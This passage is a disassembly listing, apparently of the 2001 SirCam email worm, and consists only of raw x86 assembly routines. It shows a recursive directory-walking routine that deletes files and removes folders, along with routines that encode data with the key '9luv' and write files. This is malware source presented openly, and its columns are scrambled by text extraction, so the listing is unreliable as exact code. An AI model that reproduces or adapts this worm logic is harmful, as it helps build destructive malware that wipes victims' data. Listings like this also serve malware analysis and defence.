XREF: sub_4175AC+70\030j mov edx, [ebp+var_4] mov eax, offset dword_4177AC call sub_4039B4 mov esi, eax inc esi jmp short loc_4176EC ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_41768A: ; CODE XREF: sub_4175AC+14A\031j mov mov mov add sub jb mov mov add sub jb mov cmp jz mov cmp jz mov cmp jz mov mov add sub jnb eax, [ebp+var_4] bl, [eax+esi-1] eax, ebx al, 9Fh al, 1Ah short loc_4176C7 eax, [ebp+var_4] eax, ebx al, 0BFh al, 1Ah short loc_4176C7 eax, [ebp+var_4] bl, 2Eh short loc_4176C7 eax, [ebp+var_4] bl, 2Dh short loc_4176C7 eax, [ebp+var_4] bl, 5Fh short loc_4176C7 eax, [ebp+var_4] eax, ebx al, 0D0h al, 0Ah short loc_4176E1 loc_4176C7: ; CODE XREF: sub_4175AC+EB\030j ; sub_4175AC+F6\030j ... lea eax, [ebp+var_14] mov edx, [ebp+var_4] mov edx, ebx call sub_403670 mov edx, [ebp+var_14] lea eax, [ebp+var_C] call sub_40372C jmp short loc_4176EB ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4176E1: ; CODE XREF: sub_4175AC+119\030j mov call mov eax, [ebp+var_4] sub_403724 esi, eax inc esi mov eax, [ebp+var_4] loc_4176EB: ; CODE XREF: sub_4175AC+133\030j loc_4176EC: ; CODE XREF: sub_4175AC+DC\030j sircam.asm Fri Aug 10 12:42:44 2001 call cmp jl push push push lea mov call mov mov add sub jb mov mov call test jle mov cmp jz mov call cmp jle mov call mov cmp jz mov mov mov call sub_403724 esi, eax short loc_41768A [ebp+var_8] offset dword_4177AC [ebp+var_C] eax, [ebp+var_4] edx, 3 sub_4037E4 eax, [ebp+var_4] al, [eax] al, 0D0h al, 0Ah short loc_417760 edx, [ebp+var_C] eax, offset dword_4177B8 sub_4039B4 eax, eax short loc_417760 eax, [ebp+var_4] byte ptr [eax], 40h short loc_417760 eax, [ebp+var_4] sub_403724 eax, 5 short loc_417760 eax, [ebp+var_4] sub_403724 edx, [ebp+var_4] byte ptr [edx+eax-1], 40h short loc_417760 edx, [ebp+var_4] eax, ds:dword_41EF18 ecx, [eax] dword ptr [ecx+34h] loc_417760: ; CODE XREF: sub_4175AC+16D\030j ; sub_4175AC+17E\030j ... lea mov mov call ecx, [edi+1] eax, offset dword_41EEDC edx, 1 sub_40396C test jnz xor pop pop pop mov push ; CODE XREF: sub_4175AC+2F\030j edi, edi loc_4175C7 eax, eax edx ecx ecx fs:[eax], edx offset loc_41779C loc_417772: loc_417787: sub_4175AC 629 ; CODE XREF: CODE:0041779A\031j lea eax, [ebp+var_14] mov edx, 5 call sub_4034EC retn endp ; sp = -34h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_417795: ; DATA XREF: sub_4175AC+10\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_417787 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_41779C: ; DATA XREF: sub_4175AC+1D6\030o pop edi sircam.asm Fri Aug 10 12:42:44 2001 630 pop esi pop ebx mov esp, ebp pop ebp retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 dd 0FFFFFFFFh, 1 dword_4177AC dd 40h, 0FFFFFFFFh, 1 ; DATA XREF: sub_4175AC+21\030o ; sub_4175AC+60\030o ... dword_4177B8 dd 2Eh ; DATA XREF: sub_4175AC+172\030o ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_4177BC proc near var_24 var_20 var_1C var_18 var_14 var_10 var_C var_8 var_4 = = = = = = = = = dword dword dword dword dword dword dword dword dword ptr ptr ptr ptr ptr ptr ptr ptr ptr ; CODE XREF: sub_417C88+63\031p -24h -20h -1Ch -18h -14h -10h -0Ch -8 -4 push mov mov ebp ebp, esp ecx, 4 push push dec jnz push push push push mov mov call xor push push push mov xor mov mov mov call mov mov mov call mov mov call dec mov test jl inc xor ; CODE XREF: sub_4177BC+D\031j 0 0 ecx short loc_4177C4 ecx ebx esi edi [ebp+var_8], eax eax, [ebp+var_8] sub_4038D8 eax, eax ebp offset loc_417915 dword ptr fs:[eax] fs:[eax], esp eax, eax [ebp+var_4], eax dl, 1 eax, ds:off_40BB68 sub_402BAC [ebp+var_C], eax eax, ds:dword_41EF18 edx, [eax] dword ptr [edx+40h] eax, ds:dword_41EF14 edx, [eax] dword ptr [edx+14h] eax esi, eax esi, esi short loc_41782A esi ebx, ebx mov eax, ebx loc_4177C4: loc_41781A: ; CODE XREF: sub_4177BC+6C\031j sircam.asm Fri Aug 10 12:42:44 2001 631 call call inc dec jnz sub_4174BC sub_4175AC ebx esi short loc_41781A mov mov call xor mov mov mov call dec mov test jle mov ; CODE XREF: sub_4177BC+59\030j eax, ds:dword_41EF18 edx, [eax] dword ptr [edx+7Ch] eax, eax [ebp+var_10], eax eax, ds:dword_41EF18 edx, [eax] dword ptr [edx+14h] eax esi, eax esi, esi loc_4178DA ebx, 1 loc_41782A: loc_417853: ; CODE XREF: sub_4177BC+118\031j lea edx, [ebp+var_18] mov eax, [ebp+var_14] call sub_406D54 mov eax, [ebp+var_18] push eax lea ecx, [ebp+var_20] mov edx, ebx mov eax, ds:dword_41EF18 mov edi, [eax] call dword ptr [edi+0Ch] mov eax, [ebp+var_20] lea edx, [ebp+var_1C] call sub_406D54 mov edx, [ebp+var_1C] pop eax call sub_403834 jz short loc_4178C3 cmp [ebp+var_10], 1F4h jnz short loc_4178A6 push ebp call sub_4173F0 pop ecx mov eax, [ebp+var_C] mov edx, [eax] call dword ptr [edx+40h] xor eax, eax mov [ebp+var_10], eax jmp short loc_4178C3 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4178A6: lea mov mov mov call mov mov mov call inc ; CODE XREF: sub_4177BC+D2\030j ecx, [ebp+var_24] edx, ebx eax, ds:dword_41EF18 edi, [eax] dword ptr [edi+0Ch] edx, [ebp+var_24] eax, [ebp+var_C] ecx, [eax] dword ptr [ecx+34h] [ebp+var_10] loc_4178C3: lea mov mov mov ecx, edx, eax, edi, ; CODE XREF: sub_4177BC+C9\030j ; sub_4177BC+E8\030j [ebp+var_14] ebx ds:dword_41EF18 [eax] sircam.asm Fri Aug 10 12:42:44 2001 call inc dec jnz dword ptr [edi+0Ch] ebx esi loc_417853 cmp jz push call pop [ebp+var_10], 0 short loc_4178E7 ebp sub_4173F0 ecx mov call mov xor pop pop pop mov push ; CODE XREF: sub_4177BC+122\030j eax, [ebp+var_C] sub_402BDC ebx, [ebp+var_4] eax, eax edx ecx ecx fs:[eax], edx offset loc_41791C loc_4178DA: ; CODE XREF: sub_4177BC+8C\030j loc_4178E7: loc_4178FF: sub_4177BC 632 ; CODE XREF: CODE:0041791A\031j lea eax, [ebp+var_24] mov edx, 5 call sub_4034EC lea eax, [ebp+var_8] call sub_4034C8 retn endp ; sp = -20h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_417915: ; DATA XREF: sub_4177BC+21\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_4178FF ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_41791C: ; DATA XREF: sub_4177BC+13E\030o mov eax, ebx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_417928 proc near var_17C var_178 var_174 var_170 var_16C var_168 var_164 var_160 var_158 var_154 var_8 var_4 = = = = = = = = = = = = dword ptr -17Ch dword ptr -178h dword ptr -174h dword ptr -170h dword ptr -16Ch dword ptr -168h dword ptr -164h byte ptr -160h dword ptr -158h dword ptr -154h dword ptr -8 dword ptr -4 ; CODE XREF: sub_417928+111\031p ; sub_417C20+3D\031p ... sircam.asm arg_0 Fri Aug 10 12:42:44 2001 = dword ptr 633 8 push mov add push push xor mov mov mov mov mov mov mov mov mov mov mov mov call mov call lea mov call xor push push push mov mov call mov cmp jz lea mov call ebp ebp, esp esp, 0FFFFFE84h ebx esi ebx, ebx [ebp+var_17C], ebx [ebp+var_178], ebx [ebp+var_174], ebx [ebp+var_170], ebx [ebp+var_16C], ebx [ebp+var_168], ebx [ebp+var_164], ebx esi, ecx [ebp+var_8], edx [ebp+var_4], eax ebx, [ebp+arg_0] eax, [ebp+var_4] sub_4038D8 eax, [ebp+var_8] sub_4038D8 eax, [ebp+var_160] edx, ds:off_4061D4 sub_403AF0 eax, eax ebp offset loc_417BCB dword ptr fs:[eax] fs:[eax], esp eax, [ebp+var_4] sub_403724 edx, [ebp+var_4] byte ptr [edx+eax-1], 5Ch short loc_4179B8 eax, [ebp+var_4] edx, offset dword_417BE4 sub_40372C lea mov mov call mov lea mov call test jnz ; CODE XREF: sub_417928+81\030j eax, [ebp+var_164] ecx, offset dword_417BF0 edx, [ebp+var_4] sub_403770 eax, [ebp+var_164] ecx, [ebp+var_160] edx, 3Fh sub_407244 eax, eax loc_417A7A mov mov call jz mov mov call jz test jle push lea mov mov call mov mov ; CODE XREF: sub_417928+14C\031j eax, [ebp+var_154] edx, offset dword_417BFC sub_403834 short loc_417A67 eax, [ebp+var_154] edx, offset dword_417C08 sub_403834 short loc_417A67 [ebp+var_158], 10h short loc_417A67 ebx eax, [ebp+var_168] ecx, [ebp+var_154] edx, [ebp+var_4] sub_403770 eax, [ebp+var_168] ecx, esi loc_4179B8: loc_4179E9: sircam.asm Fri Aug 10 12:42:44 2001 634 mov call test jz lea mov mov call mov call push call edx, [ebp+var_8] sub_417928 bl, bl short loc_417A67 eax, [ebp+var_16C] ecx, [ebp+var_154] edx, [ebp+var_4] sub_403770 eax, [ebp+var_16C] sub_4038E8 eax j_RemoveDirectoryA lea call test jz ; CODE XREF: sub_417928+D1\030j ; sub_417928+E3\030j ... eax, [ebp+var_160] sub_407294 eax, eax loc_4179E9 lea call mov call mov cmp jz lea mov call ; CODE XREF: sub_417928+BB\030j eax, [ebp+var_160] sub_4072B8 eax, [ebp+var_4] sub_403724 edx, [ebp+var_4] byte ptr [edx+eax-1], 5Ch short loc_417AA4 eax, [ebp+var_4] edx, offset dword_417BE4 sub_40372C lea mov mov call mov lea mov call test jnz ; CODE XREF: sub_417928+16D\030j eax, [ebp+var_170] ecx, [ebp+var_8] edx, [ebp+var_4] sub_403770 eax, [ebp+var_170] ecx, [ebp+var_160] edx, 2Fh sub_407244 eax, eax loc_417B84 mov mov call jz mov mov call jz cmp jz test jz lea mov mov call mov xor call lea mov mov call mov call ; CODE XREF: sub_417928+256\031j eax, [ebp+var_154] edx, offset dword_417BFC sub_403834 loc_417B71 eax, [ebp+var_154] edx, offset dword_417C08 sub_403834 short loc_417B71 [ebp+var_154], 0 short loc_417B71 bl, bl short loc_417B50 eax, [ebp+var_174] ecx, [ebp+var_154] edx, [ebp+var_4] sub_403770 eax, [ebp+var_174] edx, edx sub_4071B8 eax, [ebp+var_178] ecx, [ebp+var_154] edx, [ebp+var_4] sub_403770 eax, [ebp+var_178] sub_4038E8 loc_417A67: loc_417A7A: loc_417AA4: loc_417AD3: sircam.asm Fri Aug 10 12:42:44 2001 635 push eax call j_DeleteFileA jmp short loc_417B71 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_417B50: lea mov mov call mov mov mov call ; CODE XREF: sub_417928+1DE\030j eax, [ebp+var_17C] ecx, [ebp+var_154] edx, [ebp+var_4] sub_403770 edx, [ebp+var_17C] eax, [esi] ecx, [eax] dword ptr [ecx+34h] lea call test jz ; CODE XREF: sub_417928+1BB\030j ; sub_417928+1D1\030j ... eax, [ebp+var_160] sub_407294 eax, eax loc_417AD3 lea call xor pop pop pop mov push ; CODE XREF: sub_417928+1A5\030j eax, [ebp+var_160] sub_4072B8 eax, eax edx ecx ecx fs:[eax], edx offset loc_417BD2 loc_417B71: loc_417B84: loc_417B9C: sub_417928 ; CODE XREF: CODE:00417BD0\031j lea eax, [ebp+var_17C] mov edx, 7 call sub_4034EC lea eax, [ebp+var_160] mov edx, ds:off_4061D4 call sub_403BBC lea eax, [ebp+var_8] mov edx, 2 call sub_4034EC retn endp ; sp = -190h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_417BCB: ; DATA XREF: sub_417928+66\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_417B9C ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_417BD2: ; DATA XREF: sub_417928+26F\030o pop esi pop ebx mov esp, ebp pop ebp retn 4 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 dd 0FFFFFFFFh, 1 dword_417BE4 dd 5Ch, 0FFFFFFFFh, 3 ; DATA XREF: sub_417928+86\030o ; sub_417928+172\030o dword_417BF0 dd 2A2E2Ah, 0FFFFFFFFh, 1 ; DATA XREF: sub_417928+96\030o dword_417BFC dd 2Eh, 0FFFFFFFFh, 2 ; DATA XREF: sub_417928+C7\030o ; sub_417928+1B1\030o dword_417C08 dd 2E2Eh ; DATA XREF: sub_417928+D9\030o ; sub_417928+1C7\030o off_417C0C dd offset dword_417C10 ; DATA XREF: sub_417F24+71\031r sircam.asm dword_417C10 Fri Aug 10 12:42:44 2001 636 ; sub_417F24+379\031r ... ; DATA XREF: CODE:00417C0C\030o dd 312E0211h, 4 dd offset off_401000 dd 48h ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_417C20 proc near var_4 arg_0 = dword ptr -4 = dword ptr 8 ; CODE XREF: sub_417C88+5A\031p ; sub_417D9C+6C\031p ... push mov push push push mov mov mov mov call xor push push push mov sub jl inc xchg ebp ebp, esp ecx ebx esi esi, ecx ebx, edx [ebp+var_4], eax eax, [ebp+var_4] sub_4038D8 eax, eax ebp offset loc_417C7C dword ptr fs:[eax] fs:[eax], esp esi, ebx short loc_417C66 esi ebx, esi push mov mov mov mov mov call inc dec jnz ; CODE XREF: sub_417C20+44\031j 0 ecx, offset dword_41EF14 eax, [ebp+arg_0] eax, [eax-4] edx, [eax+esi*4] eax, [ebp+var_4] sub_417928 esi ebx short loc_417C4A xor pop pop pop mov push ; CODE XREF: sub_417C20+25\030j eax, eax edx ecx ecx fs:[eax], edx offset loc_417C83 loc_417C4A: loc_417C66: loc_417C73: sub_417C20 ; CODE XREF: CODE:00417C81\031j lea eax, [ebp+var_4] call sub_4034C8 retn endp ; sp = -18h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_417C7C: ; DATA XREF: sub_417C20+18\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_417C73 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_417C83: ; DATA XREF: sub_417C20+4E\030o sircam.asm Fri Aug 10 12:42:44 2001 pop pop pop pop retn 637 esi ebx ecx ebp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_417C88 proc near var_114 var_110 var_10C var_108 var_8 var_4 arg_0 arg_4 = = = = = = = = ; CODE XREF: sub_417F24+1F2\031p ; sub_417F24+216\031p ... dword ptr -114h dword ptr -110h dword ptr -10Ch byte ptr -108h dword ptr -8 dword ptr -4 dword ptr 8 dword ptr 0Ch push mov add push xor mov mov mov mov mov mov mov call mov call xor push push push mov mov mov call mov push mov mov mov call pop mov call lea call lea mov call push push lea push lea mov call mov push lea mov ebp ebp, esp esp, 0FFFFFEECh ebx ebx, ebx [ebp+var_10C], ebx [ebp+var_110], ebx [ebp+var_114], ebx ebx, ecx [ebp+var_8], edx [ebp+var_4], eax eax, [ebp+var_4] sub_4038D8 eax, [ebp+var_8] sub_4038D8 eax, eax ebp offset loc_417D7E dword ptr fs:[eax] fs:[eax], esp eax, ds:dword_41EF14 edx, [eax] dword ptr [edx+40h] eax, [ebp+arg_4] eax ecx, [ebp+arg_0] edx, ebx eax, [ebp+var_4] sub_417C20 ecx eax, [ebp+var_8] sub_4177BC edx, [ebp+var_108] sub_40296C edx, [ebp+var_108] eax, offset dword_41EEF4 sub_4036EC 1 1 eax, [ebp+var_10C] eax edx, [ebp+var_110] eax, [ebp+var_8] sub_41620C eax, [ebp+var_110] eax eax, [ebp+var_114] ecx, offset dword_417D94 sircam.asm Fri Aug 10 12:42:44 2001 mov call mov mov pop call xor pop pop pop mov push loc_417D60: sub_417C88 638 edx, ds:dword_41EEFC sub_403770 eax, [ebp+var_114] ecx, ds:dword_41EEF4 edx sub_415EAC eax, eax edx ecx ecx fs:[eax], edx offset loc_417D85 ; CODE XREF: CODE:00417D83\031j lea eax, [ebp+var_114] mov edx, 3 call sub_4034EC lea eax, [ebp+var_8] mov edx, 2 call sub_4034EC retn endp ; sp = -12Ch ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_417D7E: ; DATA XREF: sub_417C88+39\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_417D60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_417D85: ; DATA XREF: sub_417C88+D3\030o pop ebx mov esp, ebp pop ebp retn 4 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ dd 0FFFFFFFFh, 4 dword_417D94 dd 3041465Ch, 0 ; DATA XREF: sub_417C88+A9\030o ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_417D9C proc near var_11C var_118 var_114 var_110 var_10 var_C var_8 var_4 arg_0 arg_4 arg_8 = = = = = = = = = = = ; CODE XREF: sub_417F24+35C\031p dword ptr -11Ch dword ptr -118h dword ptr -114h byte ptr -110h dword ptr -10h dword ptr -0Ch dword ptr -8 dword ptr -4 dword ptr 8 dword ptr 0Ch dword ptr 10h push mov add push push xor mov mov mov mov mov mov ebp ebp, esp esp, 0FFFFFEE4h ebx esi ebx, ebx [ebp+var_114], ebx [ebp+var_118], ebx [ebp+var_11C], ebx [ebp+var_10], ebx [ebp+var_C], ecx [ebp+var_8], edx sircam.asm Fri Aug 10 12:42:44 2001 mov mov mov mov call mov call mov call xor push push push mov mov mov call mov push mov mov mov call pop mov push mov mov mov call pop lea xor mov call mov mov mov call mov mov mov call mov mov call mov mov call lea call lea mov call push push lea push lea mov call mov push lea mov mov call mov mov pop 639 [ebp+var_4], eax esi, [ebp+arg_0] ebx, [ebp+arg_4] eax, [ebp+var_4] sub_4038D8 eax, [ebp+var_8] sub_4038D8 eax, [ebp+var_C] sub_4038D8 eax, eax ebp offset loc_417EF5 dword ptr fs:[eax] fs:[eax], esp eax, ds:dword_41EF14 edx, [eax] dword ptr [edx+40h] eax, [ebp+arg_8] eax ecx, esi edx, ebx eax, [ebp+var_8] sub_417C20 ecx eax, [ebp+arg_8] eax ecx, esi edx, ebx eax, [ebp+var_C] sub_417C20 ecx ecx, [ebp+var_10] edx, edx eax, offset a9luv_0 ; "9luv" sub_415FAC ecx, [ebp+var_10] eax, offset dword_41EEF4 edx, [ebp+var_4] sub_403770 edx, ds:dword_41EEF4 eax, ds:dword_41EF14 ecx, [eax] dword ptr [ecx+64h] edx, 2 eax, ds:dword_41EEF4 sub_4071B8 eax, ds:dword_41EF14 edx, [eax] dword ptr [edx+14h] edx, [ebp+var_110] sub_40296C edx, [ebp+var_110] eax, offset dword_41EEF4 sub_4036EC 1 1 eax, [ebp+var_114] eax edx, [ebp+var_118] eax, [ebp+var_4] sub_41620C eax, [ebp+var_118] eax eax, [ebp+var_11C] ecx, offset dword_417F1C edx, ds:dword_41EEFC sub_403770 eax, [ebp+var_11C] ecx, ds:dword_41EEF4 edx sircam.asm Fri Aug 10 12:42:44 2001 call xor pop pop pop mov push loc_417ED7: sub_417D9C 640 sub_415EAC eax, eax edx ecx ecx fs:[eax], edx offset loc_417EFC ; CODE XREF: CODE:00417EFA\031j lea eax, [ebp+var_11C] mov edx, 3 call sub_4034EC lea eax, [ebp+var_10] mov edx, 4 call sub_4034EC retn endp ; sp = -138h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_417EF5: ; DATA XREF: sub_417D9C+4C\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_417ED7 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_417EFC: ; DATA XREF: sub_417D9C+136\030o pop esi pop ebx mov esp, ebp pop ebp retn 8 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ dd 0FFFFFFFFh, 4 a9luv_0 db ’9luv’,0 ; DATA XREF: sub_417D9C+88\030o align 4 dd 0FFFFFFFFh, 4 dword_417F1C dd 3041465Ch, 0 ; DATA XREF: sub_417D9C+10C\030o ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_417F24 proc near var_68 var_64 var_60 var_5C var_58 var_54 var_50 var_4C var_48 var_44 var_40 var_3C var_38 var_34 var_30 var_2C var_28 var_24 var_20 var_1C var_18 var_14 var_10 var_C var_8 = = = = = = = = = = = = = = = = = = = = = = = = = dword ptr -68h dword ptr -64h dword ptr -60h dword ptr -5Ch dword ptr -58h dword ptr -54h dword ptr -50h dword ptr -4Ch dword ptr -48h dword ptr -44h dword ptr -40h dword ptr -3Ch dword ptr -38h dword ptr -34h dword ptr -30h dword ptr -2Ch dword ptr -28h dword ptr -24h dword ptr -20h dword ptr -1Ch dword ptr -18h byte ptr -14h dword ptr -10h dword ptr -0Ch dword ptr -8 ; CODE XREF: sub_41A5E4+BB\031p sircam.asm var_4 Fri Aug 10 12:42:44 2001 641 = dword ptr -4 push mov mov ebp ebp, esp ecx, 0Dh push push dec jnz push mov mov call xor push push push mov push push lea push mov mov mov call mov mov call mov mov mov call mov push lea mov mov call add lea xor mov call mov mov add call lea xor mov call mov mov add call lea xor mov call mov mov add call lea xor mov call ; CODE XREF: sub_417F24+D\031j 0 0 ecx short loc_417F2C ebx [ebp+var_8], eax eax, [ebp+var_8] sub_4038D8 eax, eax ebp offset loc_4182D1 